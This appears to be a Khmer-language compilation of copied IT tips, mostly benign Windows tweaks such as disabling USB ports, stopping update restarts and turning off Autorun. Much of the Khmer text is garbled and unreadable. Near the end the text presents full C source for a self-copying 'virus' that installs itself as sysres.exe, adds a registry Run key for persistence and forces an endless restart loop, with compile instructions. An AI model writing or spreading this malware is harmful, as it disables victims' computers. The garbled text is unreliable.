រៈបលដពផធីបរតមេគដដមនវ រធីជៈនពផដអលងកបពុងីដប– បុងសមប– គលបេយគប– ផ� រ�ីប-លដប….

Partition កនេទផរលវត�រភពេេពឺបEaseUS Partition MasterHome ដមនវ រធីោដគអនល�� ត់េលដ

អអដញ�ផដមដេុបេទផឥតរតៃថ�ទ

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េង�ៈពយបេដមបបរបEaseUS

រតមញ�ផដេទផ េលេ�ីេនពទ

បេវ បពីញ�ផដបនរងតៈេឡងបពេរគេងផបរតមេបដេតគេេដអងដមនវ រធីបEaseUS Partition Master រតម

េលេេគបGo to main screen េដមសយីបេកិមុបតរបតិរកបណន បោេដបផ� របិតបបនរងពុងីដបឬុងសម Partition

បបរអអដប រតមពរនរត់បតបីទ

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ឧ.បេដមសីពុងីដ�ៈងៈបPartition េលដអអដុរនោតញ�បេេនរងញ�មដឺបពេេតរេបេងផបRestart ដលៈព ត់�យបបបរអអដ ុបររនេបញមញបទបរតមេមគវេីដអតសងេុកមទប

ប ប

Information Technology from internet

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បេប�បបរ�បPort USB Drive ដអលងបWindow 7បមរន់ដៈេណ បកប

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េលដអអដុបោងគ េងបរ�បឬផស ដបUSB port ឬបរ�មរន់េទតបUSB drive ដអលងវនីដពេរេវនេទផ

ោកសដេគមតគេងតលេុេនទប។ញងបណន . ុបររនេបេថោដុដកមង៊លនបេង�តបSoftware េលដអអដពរត

មរនេងបរ�បUSB drive េយគេដមសកីបរបពីកបេម�ងផដឯដនបបបរុដកមង៊លនពរេររឺ

Software ផវ គោតមិងទ

េបអអដមរនយៈកេដអលងកបេុបបUSB drive ផគគសអអដពបោតបរ� េដមសបីង� បពីកបឆ�ងេមេរេេ

េទផៃេដន់បរគេពគេទតបUSB Drive េតគដអលងម៉រលីនបបរអអដមិង់ទ

េដមសីបរ�បUSB port ឬបUSB drive ដអលងវនីដតេរេវនបរតមេលេេគប៊តតលងបStart បពេផ regedit ដអលងុបអប

ោរ�ងបដទបេេដអលងផវ ៈងបregedit រតមេតគេេកន�ីតៈងេនពីបHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR

បេវ បមដរតមេលេពីបដងេគ Start key េេុបអបសងេឆ�ងប left panel) េងផផ� របិតបតៃម�បបរេេប

៤វ រ�ប តៃម�េដមឺប៣ីទ វ រធីេនពននងបរ�បUSB drive ឬបUSB port ដអលងដលៈព ត់�យបបបរអអដេងផទ េៈណៈីប

េដមសេីបដវ រ�ុរនោតបិតបតៃម�េេប៣វ រ�កបេតរេ

Information Technology from internet

Prepared by: lay phearun 52

Information Technology from internet

Prepared by: lay phearun 53

វ រធីប�្បកបប ៈសនពីញមញប់បRestart េុកផេពគពបេឌតវនីដត

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េត េលដអអដដៈពលងោតធល�ុញនននងកបញមញប់េលដអអដបRestart ម៉រលីន បេវ បពីេលដអអដកន

ពបេឌតវនីដតអលីេេី? ធមនតរគេពគោដគេលដអអដពបេឌតវនីដតបពេេងផ ោតងោតញមញប

ដតេេអពទ

កបញមញបប់បRestart

រៈបលដពផធីរតមេគដផដវ រធីដ៏ងផតរសគមពផមដបង �ជតនដតេសងេុកមី

ជៈងន�ី១ី រតមេបដបNotepad (ដមនវ រធីមនតនបដអលងវនីដតីបេទផេលេប៊តតលងបStart > Run > “Notepad”

រតមេតគដអលងបNotepad បពេផបCommand net stop wuauserv (ដតេបតបីទបបេវ បមដរតមបដ់�លដបFile

េេពទ

Information Technology from internet

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ជៈងន�ី២ី

រតមបដ់បFile �លដុបេេ�ដៈេណ បកបកន (executable batch file) ោដគននងពេដៈេណ បកបបេពគោដគ

េលេពីបដងេគបFile េេពទ េធ�ដតេេនពេដមសបី�្បនតវេរពបេឌតបបរវនីដតេទផរ�យផុបវតិរទ រតម

េៈេៈរីបុតង Save as type ុតតវដៈណតរប“All Files” េបមរនដតេេអពេ�េលដអអដននងបេង�តបFile *.txt

មរនសនទបរតមបដ់ប“.bat” ឧញងបណន ីប“stop this.bat” ដតេកនបង �សងេគទ

ជៈងន�ី៣ី

តមបតបសងេុកមបេនពបFile stop this.bat ោដគមន�ៈងៈតតេុតនមោតប១៨ៃបតនោតប៉លេេអ ពប 18 bytes)

Information Technology from internet

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េេេពគោដគវនីដតបបង �ផវ ៈងោដគញមញប់អអដបRestart េេព រតមេលេពីបដងេគបFile stop

this.bat េដមសដីៈេណ បកបបcommand (ោដគកនរបេរបេេដអលងបNotepad) នរងប�្បេរដមនេេពទ

េលដអអដននងោគង��ពគកនកបផវ ៈងប ៈសនេេពេ��តេងផទ េរដមនេនពននងយបេកិមនបថនីបេេ

េពគោដគអអដបRestart ដលៈព ត់�យបបទ រតមតៈេឡងកបពបេឌតេេពកបេតរេទ

Information Technology from internet

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េបបIDM អតេដបេតពេញ�ផដវេីដអតតមវ រធី

ណ?

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េលដអអដ ោដគនរផមេតគេរតកិបញ�ផដវេីដអតេេុម�ង ពីវល របនផពរតមនប� េនពុបររនេបប

Internet Download Manager (IDM) បបរអអដមរនដៈេណ បកបេេពេ េយងតមរៈណត មពបបបរុបរផមរតិ

រៈបលដពផធីរតមេគដផដវ រធីញ�ផដវេីដអត ញៈងេេពពីវល របនផគសគី �បៈកលតឺបYoutube ទ

ធមនតវល របនផេនពបមរនទដបង �ប៊តតលងរុមបញ�ផដេេពេ� ប៉លោនិុបររនេបេលដអអដកនតៈ

េឡងដមនវ រធីបIDM បពេេងផេេពននងេលត Download this video ឬបDownload this audio ោដគ

អនល�� ត់េលដអអដញ�ផដវេីដអត ឬេេុម�ងញៈងេេពកនយ៉ងងផតរសគទ

Information Technology from internet

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ុបររនេបេលដអអដេេោតមរនេត�ប៊តតលងដតេបតបសងេគ រតមនដគសងេុបដមនវ រធីជៈនពផោដគេដបតព

េ�ីយ៉ងគសដអលងញ�ផដវេីដអត េេុម�ងបនរងពេបោម�ងវេីដអតេេប*.3gp, *.mp4, *.mpeg េដមបនរង

បោម�ងរេម�ងមពផេៈនពនកងោដបបពរេររេ��តេេពឺបពេេធ�បតបភពធមនតេេប3D កនេ��តក

ងទ

Information Technology from internet

Prepared by: lay phearun 58

រៈបលដពផធីរតមេគដោតមពផោកអដមដបង �ជតនឺបកបញ�ផដវេីដអតពីបYoutubeទបរតមេតគេេ

កនេង�ៈពយប DVDVIDEOSOFT បពេេធ�កបញ�ផដដមនវ រធីមដតៈេឡងទ

Information Technology from internet

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ដមនវធីីបុតតវកនទដ់បញ�ផដបនរងេុបេទផឥតរតៃថ�

បេវ បមដរតមេលេេគបYoutube

េងផរតមេលេបFree Download Youtube

Information Technology from internet

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បេវ បមដរតមេម�ងបURL ពីបYoutube មដទដដអលងុបអបេេព

Information Technology from internet

Prepared by: lay phearun 61

Information Technology from internet

Prepared by: lay phearun 62

ននងេធ�កបបពរនរត់បេមគបរេតបURL េេពុតនមុតតវោដបបឬេ�? ឬធ� បញ�ផដេងផឬេេ?

Information Technology from internet

Prepared by: lay phearun 63

វ រធីយដេនបដលៈព ត់�យបេទផរ�យផុបវតិរបេពគោដគអអដ�លដេយគ

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ជពនេពគយ�ព េលដអអដកនយដេេ�ពីបដោន�ងេធ�កបបឬបនវបររដ់ភ� ម់បេទផមរនកនបរ� ឬេេ�េ

បរ�ដលៈព ត់�យបេបេផ់ទបពេេបេងមរនគស នរងេុរពរអ ដមពផេុរពេពគេេពពេមននបណមអ ដ

មដេុបុករ ឬេគងដលៈព ត់�យបបបរអអដបេទផេតគេេគលបបឬេមគឯដនបរៈសនណមពផេេពទ

ុកដដណរបដលៈព ត់�យបបបរអអដប េុបុករផវ គយ�ពនី ឺុតតវកនបដ់ររ��រឯដជនដអលងកបេុបុករ

ោដគមរនអនល�� ត់នបណមអ ដ មដេុបេទផរន នកបផគុពមពីម� រេឡផទ

េតអអដពរតមរនេង់មនប� េនពេដតេឡងេ�បោមនេ�? ដតេេអពរតមេធ�កបអនលវតិននមពផរៈបលដ

ពផធី ពីវ រធីយដេនបដលៈព ត់�យបេទផរ�យផុបវតិរបេពគោដគអអដ�លដេយគប……… ោដគេលដអអដុរន

ោតេៈេផេពគតរេងប៣េ�ីដអលងកបពន នរងអនលវតិនននតវន�នពដ៏ងផតរសគេនពទ

Information Technology from internet

Prepared by: lay phearun 64

ន�នពដ៏រៈសនដអលងកបអនលវតិននេនពឺុរនោតេុបបScreen Saver ដ៏ពេទដរលវត�រភពដគម៉រលីនអអដោដ

បទ

ដ.បរតមេលេបMouse និៈប Right Click) េគបDesktopេងផេលេេគប‘Personalize’

េៈេៈភ វ រធីេនពេុបរុមបវនីដតេរេវនប៉លេេអ ពបោតរុមបវនីដតដ៏ៃ�េ��តដតេបវនីដតអលីេេីបេលដអអដកនោតងផតរសគង

េនពេេេ��តបេទផុរនោតបេលេបMouse និៈេគបdesktop បពេបេលេផដបProperties កបេតរេទ

យ.បមដដគ�ីេនពបននងមនផវ ៈងបChange the visuals and sounds on your computer បពេេលេ‘ScreenSaver’

េេោកអដសងេុកមោបដសងនិៈ (ឬពេេតគកនតមបផ្បControl Panel => Appearance and Personalization => Personalization)

Information Technology from internet

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.បេេេគផវ ៈងបScreen Saver, រតមេប រផដបScreenSaver េងផធីដប check) ‘On Resume, Display

Logon Screen’ បពេទដដៈណតុតនមប១េ�ី េពគោដគអអដមរនដៈេណ បបឬផស ដកបេុបុករដលៈព ត់�យបទប

េលងេុកផបរតមេលេ Apply បពេបOk កបេតរេទ

Information Technology from internet

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ឥឡតវេនពបេពគោដគអអដយដេេ�េពគណដ៏េទផ េេពម៉រលីនដលៈព ត់�យបបបរអអដបននងេលតបង �

បscreensaver តមោតេពគេវលោដគអអដកនដៈណតប ១េ�ីីបេងផនបណដ៏េទផបេពគោដគពពដ

េុវ ីMouse ឬេលេុរបេលេប Keyboard) េេពននងញមញប់អអដបLogin (េន ពអអដេុបបនរងបេគយ

រម� តីទ

វ រធីសងេគពរតពេ បេ�� �រពីកបេុបដលៈព ត់�យបបបរអអដេទផមរនមនកបអនល�� តទបយ៉ងណមរ�

ុបររនេបអអដមនកបធល�ុញនបឬមរនេងបង �បScreen Saver េេពរតមេុជរផដ ‘None’ ុតងប

screensaver drop-down list េងផធីដុតងប‘On Resume, Display Logon Screen’ នរងដៈណតេ�ីប

ដោដគដតេសងេគី ទ េធ�បេប�បេនពម៉រលនីបបរអអដននងយដេនបេទផរ�យផុបវតិរតមេៈនពនេ�ី ោដគ

កនដៈណតទ

Information Technology from internet

Prepared by: lay phearun 67

Information Technology from internet

Prepared by: lay phearun 68

ពបបរ�បAutorun េដមសបីេ�� �រពីកបឆ�ងេមេរេទផមរនដនងយ�ពន

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េលដអអដ ោដគនរផមកបេុបុករុបពយន�ុ បតរបតិរកបវនីដត ោតងោតមនប� ញដ�ងននងេមេរេនព

មរនសន េងផដ៏រន ននបណមអ ដេងជពបបឬបេណិផប់ផុបងបងផ់េេពេ�ទ ដតេេអព

រៈបលដពផធីបរតមេគដផដវ រធីដ៏ងផតរសគមពផ ដអលងកបកបរបពីកបផុបងបបបរេមេរ

េទផ ុរនោតបេធ�កបបរ�បAutorun ដលៈ់េបដ

េឡងេទផរ�យផុបវតិរ េរគឺមរនមនកបអនល�� ត ោដគេនពអ�ីោដគអអដបេង�តេមេរេតគេរត ិនរង

នរផមដអលងកបបេង�តបេដមសីផុបងបមដកនពពដេផងទបេងផរគបAutorun េនពេ��តេនតោតងឆ�ង

មដតមបផ្បFlash Drive ងអនងោតមិងេ

រតមអនលវតិននបនរងតមទនពីវ រធីងផ់េេេគបុបពយន�ុ បតរបតិរកបពីបបឺវនីដតអលីេេីបនរងវនីដតេរេវនបដតេ

សងេុកមី

*** បេប�បបរ�បAutorun

រតមដៈេណ បកបបgpedit.msc េទផេលេប៊តតលងបStart => Run (ឬេលេុរបេលេវនីដតបូបr)

បពេផបgpedit.msc បេវ បមដរតមផបEnter ឬេលេប៊តតលងបOK

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*រុមបវនីដតេរេវន:

បេវ បពីកនផបពេេងផបននងមនផវ ៈងបLocal Group Policy Editor េលតេឡងី

រតមេលេេគបAdministrative Template បពេេុជរេប រផដបWindows Components េងផុតងបAuto Play

Policies រតមេលេពីបដងេគបTurn Off Autoplayទបបេវ បមដ ននងមនផវ ៈងថនីមពផេ��តបេលតមដបរតម

េលេេគបEnable ុតងបTurn Off Autoplay on => េលេេប រផដបAll Drive => េលេបOKទ

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*រុមបវនីដតអលីេេីភ

បេវ បពីមនផវ ៈងេលតប ដតេសងេគីប)> េលេេគបAdministrative Template => Windows Components

=> System បពេេលេប២ដងេគបTurn Off Autoplay => េុជរផដបEnable ុតងបTurn Off Autoplay On =>

េប រផដបAll Drive => បពេេលេបOK៕

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************************************************************

បេប�បេុបបUSB Drive រៈរបបReset Windows 7 Password

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កប ោដតុមតវេគយបឬរដ់រៈងតបបរវនីដតប Windows password reset disk option) គដចណ្ពរេររ

រៈរបបដមដវ រ�នតវេគយ ឬរដ់រៈងតោដគអអដកនេេ�េទបធមនតេផងេុបុកររលីឌីបឬឌីវឌីី (CD

or DVD) រៈរបបេង�តឌីរេគយរៈងតបបរវនីដតេរេវនទបប៉លោនេិេេពគេនព USB Drive បបរអអដ

ពេជពផបដ់ុកដបនរងេពគេវលបបរអអដ ុបររនេបអអដេៈេផេពគុបោងគប២េ�ីេដមសរីរដ់ប

នរងអនលវតិននវ រធីងផ់ ោដគរៈបលដពផធីបននងបង �ជតនេេេពគបនិរេេ��តេនព

• េតុតតវេុបបUSB Drive េទផបេប�បណរៈរបេហេគយរៈងតោដគកនកត?

1. រ៊ដបUSB drive បបរអអដេតគបUSB Port ដអលងដលៈព ត់�យបបបរអអដប ពេផដ�ៈងៈយបពីប៥១២បេមកៃប

េឡងេេី

2. រតមេលេបMouse និៈេគបUSB Drive ោដគកនរ៊ដបបពេេប រផដរដ់រប“format” េដមសីរៈពតបDrive

េេពេយគេ�បពេេុបបReset Disk កនទ

រតមុកដដរ�រនអនយផដអលងបUSB Drive បបរអអដកនេៈគងបនិបឬកនបដ់�លដេេ�ីតៈងេក្ងបពេេងផ

បេវ បមដរតមេលេបFormat

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3.បេវ បពីកនរៈពតប Format) បពេេងផបរតមេបដ Control panel >> Users Accounts and Family

Safety >> User accounts អអដននងេត�“Create a password reset disk”

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4. អអដននងេត�ផវ ៈង”Forget Password Wizard” រតមេលេេគប៊តតលងNext េដមសីដៈេណ កប

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5. េេ�ីេនពរតមអអដេុជរផដបUSB device ណមពផប ោដគអអដកនរៈពតីបរៈរបបេង�តបpassword reset disk.

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6. រតមេលេេគប៊តតលងបNext េដមសយីបេកិមដៈេណ បកបបនរងេលងេុកផរតមេលេប៊តតលងបFinish េដមសបី��

បទ

ដតេេអពេលដអអដននង��ពគកនេគយបឬរដ់រៈងតេដមសីកបរបេេេពគោដគអអដេេ�េេទផៃេដ

ន់ទ

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បេប�បតៈេឡងវនីដតពីបេទផរលវត�រភព

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េតេលដអអដនរផមេុបវនីដតពីបេគម៉រលីនោតមពផោដបឬេ�? មលនននងេតគដគកបតៈេឡងបរតមពរនរត់

េមគលណរមសតិរបនរងលណវ របតិរោដគេដតមន្

*** លណរមសតិរ

• ពេ់ម៉រលីនដលៈព ត់�យបបបរអអដដៈេណ បកបកនេគេនប េុរពដមនវ រធីតរេងវនីដត១ី

• ដមនវ រធីតរេងផតរសគរៈពតបនរងេប�បេៈបRegistry

• េពគវនីដតមពផមនប� បេេោតពេេតគេេវនីដតមពផេ��តកនទ

*** លណវ របតិរ

• ពរកដកបរបកបឆ�គរគទគៃនេមេរប កបរបកនោតុរផបSystem)

• យៈកេុតតវបិតបេេមដបេបររនដមនវ រធីោដគេងេុបមរនបរតេេេគបវនីដតោដគដៈពលងេបដប ឧ.បេបដប

Window XP េងផេងេុបបVB.NET ោដគេេេគបWindow 7)

• េពគយ�ពុតតវតៈេឡងដមនវ រធីនរអ បដតេបMicrosoft Word, Excel េដមទ

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ឥឡតវេនពបរៈបលដពផធីននងបង �ជតនកបតៈេឡងញៈងពីបេនពប់កនុតនមុតតវ

1. ដៈបតងអអដពបោតតៈេឡងវនីដតបXP មលន

2. បេវ បមដឺតៈេឡងវនីដតបេរេវន

*** ដបណីតៈេឡងវនីដតបេរេវនមលនបេពគោដគអអដបBoot ដលៈព ត់�យបេេពបននងេតគេទផរ�យផុបវតិរេេវនី

ដតបXP (ោដគតៈេឡងេុកផី………..

ដតេបេលដអអដមនវនីដតោតមពផអ�� នងោដបេបមននយផរបFile Boot បបរវនីដតេរេវនុតតវកនកតប

េទផកបេៈគងនពីេគបឬគលបេយគេេេបោតដលៈកបមំេ រៈបលដពផធីកនបដេត�ន�នពបរៈរបតនផ

ប� េនព…..

េលដអអដុរនោតដតដបបីបេវ តសងេុកមេនពបេេពននងបេង�តបFile Boot ថនីោដគពេ់េផងេតគវ ី

នដតញៈងពីបកនវ រ�

• bootrec /FixMbr • bootrec /FixBoot • bootrec /RebuildBcd

មពផវ រ�េ��តបេលដអអដពេនដគសងេុបបដមនវ រធីបEasyBCD ោដគដមនវ រធីជៈនពផដគកបបBoot វនី

ដតេុេនទ

ដតេេអពបអអដោគងកបមំពីកបតៈេឡងវនីដតេុេនេ��តេងផបេុរពមនដៈេណពតនផេ េញពបីតៈេឡង

មពផណមលនដ៏េទផទបយ៉ងណមរ�បេដមសីេជ�រងភពរនលនន � រតមេលដអអដតៈេឡងវនីដតបXP

មលនេ�បកបុបេរបទ

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លដមរនប់បង �បAccount នរងបUsername េេដអលងបWindows េពគបLogon

កគបប រេេច�ទដក់ផ្បោយមរថលេប20, 2012 នរពន�អត�ប�េទផ្បងបតត េេេគុបពយន�ុបតរបតិរកប Windows េេេពគោដគបងបសតនេងកបរបនតវរលវត�រភព ដលៈប់េេបដដលៈព ព់�យប

េផងកនបេពគោដគេផងមរនេេបេងផ�លដដលៈព ព់�យបេយគ ឺបងបសតនោតងោតទដនតវរដ់រម� តេេ

េគបAccount ឺមននយផរ េេេពគោដគដលៈព ព់�យបេបដេតគេេកនបDesktop កនបគលពុតោតេផង

េុជរេប រនតវ Username នរងបៈេព�រដ់រម� តប password) ប់កនុតនមុតតវទ ប៉លោនិេដមសបី់កនោត

មនរលវត�រភពកនោតយពរេ��តេេព េយធី៤២ មនវ រធីនសរមិពផោបបេ��តឺ បងបសតនពេលដមរនប់

បង �នតវេន ពបUsername នរងបតបភពប់េេត� េេេពគដលៈព ព់�យបបបរេផងេធ�កបបlogon ទបរតមេធ�

កបអនលវតិមពផ េយធី៤២ ដតេតេេ្

បរ�បUser Name េទផេុបុករបWindows Registry Editor

1. េលេបwindowskey+r => ផ regedit => េលេ Enter េដមសីេបដបWindows Registry Editor

2. រតមេតគេេកន�ីតៈង HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System

3. ោរ�ងបដរដ់ DontDisplayLastUserName => បពេបតតបពីេគយប0 េេ 1 (ុបររនេបមរនញនមនរតមេលេេម៉នត ៈបNew => DWORD Value បពេរបេរបរ DontDisplayLastUserName => េលេបEnter

4. រតមេធ�កបបLog off កបេតរេទ

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អត�បេក្ង់េ��ត

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បេប�បបរ�េម៉នត ៈបMini Toolbar ដអលងបWord/Excel 2007/2010

កគបប រេេច�ទដក់ផ្បោយដលមំ្ប1, 2012 នរពន�អត�ប�េទផ្បងបតត

អ�ីេេ Mini Toolbar?

េេេពគោដេលដអអដផឯដនបបេេេគដមនវ រធីបMicrosoft Word/Microsoft Excel 2007/2010 េពគ

េលដអអដបSelect េេេគអដ្ប (text) ណមពផេេពននងេលតដតនផវ ៈងតតេមពផ ោដគពេប់េលដ

អអដេធ�កបបតតបពលមពអដ្បបបតតប�ៈងៈអដ្ប ទដពណ័េេប់អដ្បបេធ�ប ល់អដ្បដរតធៈបេធ�អដ្បប់េុ�ត េធ�អដ្ប

ប់មនតរបេវ តពីេុកមប… អ�� នងផវ ៈងមពផងអនងេងផោដគេប់េន ពរ Mini Toolbar ទ

េបេផងរតេេពរតប ៈសនណរេេេពគោដគេផងបSelect េេេគអដ្បណមពផេេពបប៉លោនិេពគ

េនព េយធី៤២ រលៈេទពតនផប� មពផេនពជតនេេេលពទ

េតពេបអនលវតនិន

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រតមេតគេេកនបRegistry េទផេលេបCtrl + R => ផរដ់បregedit => OK

េៈេរពបMicrosoft Word 2007

េតគេេកន�ី

តៈង HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Common\Toolbars\Word

េៈេរពបMicrosoft Word 2010

េតគេេកន�ី

តៈង HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Toolbars\Word

——————————————————————

េៈេរពបMicrosoft Excel 2007

េតគេេកន�ីតៈង HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Common\Toolbars\Exel

េៈេរពបMicrosoft Excel 2010

េតគេេកន�ី

តៈង HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Toolbars\Excel

——————————————————————

បេវ បពីេលដអអដេតគេេកន�ីតៈងដតេសងេគេងផបេតគេេបPanel សងនត ៈុ តងដោន�ង�េ�បេលេ

េម៉នត ៈផដរដ់ New => DWORD (32-bit) Value

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បពេទដេន ពរ AllowMenuFloaties => បេវ បេលេពីបដងបេទផផតៃម�េរន 0×00000000 (0) => េលេប

OK កបេតរេ៕

បេង�តេមេរបរ�បPort USB

កគបប រេេច�ទដក់ផ្បោយតលលប21, 2011 នរពន�អត�ប�េទផ្បងបតត

េេដអលងអត�ប�េនព េយធី៤២ ននងបង �េលដអអដនតវវ រធីបេង�តេមេរនម��មពផេ��តោដគមនប

គ��ភពពេបបរ� (disable/blocks) USB ports មរនប់ដៈេណ បកបបេេេគដលៈព ត់�យបប PC) ទ

ធមនតេៈេរពេមេរដលៈព ត់�យបេោតងោតរបេរបេឡងតមប

ផ្ភនបC

(C programming language) ទបអអដញៈងអររអ ោដគមនេៈេណពដនងបឬមនមតគទល នបុរពមពផននង

ភនបC េលដអអដពបោតបព្យមោរ�ងផគនតវដៈេណ បកបបបរេមេរបមពផេនពទ

េេេពគោដគេមេរមពផេនពដៈេណ បកបបននងបរ�បUSB ports េេេគដលៈព ត់�យបបបរបអអដមពផប ៈេពេ (ភ�

ម់ីទ

េៈេរពដតដេមេរេនពវ រ�បេទផដតដបបរោវងេ�ប េយធី៤២ មរនកនទដបង �បជតនេលដអអដបេមគ

េេពេ�បរតមេលដអអដបេធ�កបបញ�ផដ (download) បពេផដេេបអនលវតិបេុរពបេប�បអនលវតិបដ៏មរនយលរ

ពីអត�ប�មលន់ោដបទ

េលដអអដពេេធ�កបនដគសង (Test) នតវវ រធីបេង�តេមេរមពផេនពមពផននងដលៈព ត់�យបផវ គយ�ពន

រតមដលៈនដគសងមពផបននងដលៈព ត់�យបបេេដោន�ងេធ�កបអី

េៈេរពអត�ប�មពផេនពវ រ�េលដអអដននងោប�ដបោប�ដុតងរអត�ប�មលន់ោដគ េយធី៤២ កនបង �ជតន

េលដអអដនតវវ រធីបេង�តបប៉លោនិរន នបវ រធីដម� តបោតអត�ប�េនពមនញៈងបរអ ៈពលគបមនញៈងរអ ៈបន់ប ទ

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បេង�តេមេរបRestart ដលៈព ព់�យបបេប�ងរគេពគបStartup

កគបប រេេច�ទដក់ផ្បោយដ�� ប5, 2011 នរពន�អត�ប�េទផ្បងបតត កគពីអត�ប�មលនបេយធី៤២បធ� បកនបង �ជតននតវដតដបបរ េមេរបរ�ដលៈព ព់�យបរ�យផុបវតិរតមបC#

ប៉លោនិអត�ប�មពផេនពវ រ�បរតមបង �ជតនេលដអអដបេទផេុបភន C វ រ�មតងទ

ៃថ�េនព េយធី៤២បរតមបង �ជតនេលដអអដនតវដតដេដមសបីេង�តេមេរប

Restart ដលៈព ព់�យប េេេពគបStartup ទបមននយផរបេមេរមពផដ គេនពមនដៈេណ បកប ប់ោតេពគ

ោដគដលៈព ព់�យបេបដដៈេណ បកបបឺោតងោតបRestart នរេ�ទ

ឺមរនពេេតគដគបwindows កនេ�បដគេពគបBoots ឺោតងោតបRestart េឡងវ រ�ទ

េយធី៤២បេជេដរបបងបសតនយ�ព ដ៏ធ� បកនឆ�ងេមេរេនពោដបបឺមរនពេឆ�ងងពរLogon កនេ�ទ

េងផេេេពគោដគេមេរេនពឆ�ងេតគដលៈព ព់�យបេលដអអដេងផបេលដអអដុកដដបយនង, មតេម,៉ ធល�ប

មរនេនងេបដដលៈព ព់�យបេ��តេឡផទបេនងេងផេពគេនព េលដអអដននងកនេត�បតបរងប ដតដីបបបររប

មនមលយមតយ៉ងមរ�េងផ កននងវអីដគមដ�នងបោដគមរនពេដៈេណ បកបដលៈព ព់�យបកនេនពទ

រគេមេរដលៈព ព់�យបញៈងអរបភេុេនេបេង�តេឡងេទផេុបភនបC ទបេៈោនដេមេរមពផដ គ

េនពដ៏េផងបេង�តដអលងភនបC ោដបទ

រតមតមទននតវកបបេង�ត

ដៈបតងរតមេលដេបដដមនវ រធីបC compiler ណមពផេដមសីបដៈេណ បកបប run) ដតដេនពបឧញងបណន បDev C++

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• េបដដមនវ រធីបDev C++ => េលេបFile (menu) => New => Project

បេង�តបProject ដអលងបDev C++

• រតមេុជរេប រផដបWindows Application => select េគបC Project => ទដេន ពប់បproject => OK

• េលេប៊តតលងបSave • ថតេម�ងដតដសងេុកមផដេេទដដអលងបProject ោដគេផងបេង�តសងេគ

expand source 1 2 3 4 5

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6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53

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54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101

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102 103 104 105 106 107 108 109 110 #include #include #include int found,drive_no;char buff[128]; void findroot() { int done; struct ffblk ffblk; //File block structure done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive if(done==0) { done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not if(done==0) { found=1; //means that the system is already infected return; } drive_no=1; return; } done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0); if (done==0) { found=1;return; } drive_no=2; return; } done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC); if(done==0) { done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0); if(done==0) { found=1; return; } drive_no=3; return; } done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC); if(done==0)

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{ done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0); if(done==0) { found=1; return; } drive_no=4; return; } else exit(0); } void main() { FILE *self,*target; findroot(); if(found==0) //if the system is not already infected { self=fopen(_argv[0],”rb”); //The virus file open’s itself switch(drive_no) { case 1: target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup break; case 2: target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”); system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d D:\\windows\\system\\sysres.exe”); break; case 3: target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”); system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d E:\\windows\\system\\sysres.exe”); break; case 4: target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”); system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\ CurrentVersion\\Run \/v sres \/t REG_SZ \/d F:\\windows\\system\\sysres.exe”); break; default: exit(0); } while(fread(buff,1,1,self)>0) fwrite(buff,1,1,target);

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fcloseall(); } else system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart }

• បតតបេន ពបFile ពីបmain.c េេបSysres.c វ រ�

main.c => Sysres.c

• េលងេុកផបCompile នរងបRun េមេរកបេតរេ

ដៈេណ បកបេមេរ

ដលៈេេ�េបអត�ប�េគដេុកផបននងទដបង �ពីវ រធីរម� បេមេរមពផេនព

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ប

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បេង�តេមេរបFolder េេដអលងថតបfolder/folder/folder …

កគបប រេេច�ទដក់ផ្បោយដ�� ប4, 2011 នរពន�អត�ប�េទផ្បងបតត

េ��តេងផ់បអត�ប�ញដ�ងននងេមេរដលៈព ព់�យបេម៉ញតេងផបងរបងេបេ�បោតបដេត�េេេគេ

ង�ៈពយបប អតុកបេ�ី

ប�ា ដ្បមរនោមនបង �ពីបេប�បបេង�តេមេរបផដេេេធ�អៈេពយលរេ បបឥតុបេយជននបឬកតគងមនិ

រផដគេេេពេ�ទ

េតេលដអអដធ� បជតបេមេរបមពផដ គេនពេ�? េមេរបបេង�តបfolder េទផយ�ពនឯងបេេដអលងបfolder

ដអលងបfolder ដអលង folder បងតតប… ទបមននយផរប�ីតៈងប part) ដអលង�ីតៈងបឧញងបណន បC:\Documents and setting\kt42\new folder\folder\folder\folder …

ោដគេមេរមពផេនពបេផងពេរបេរបេឡងដអលងភនបC (c programming)

រតមអនលវតិននញៈងអររអ

• េបដដមនវ រធីបText Editor ណមពផបឬបNotepad (Ctrl+R => បពេផបnotepad => ok)

• េម�ងដតដសងេុកមផដេេទដេេេគបnotepad

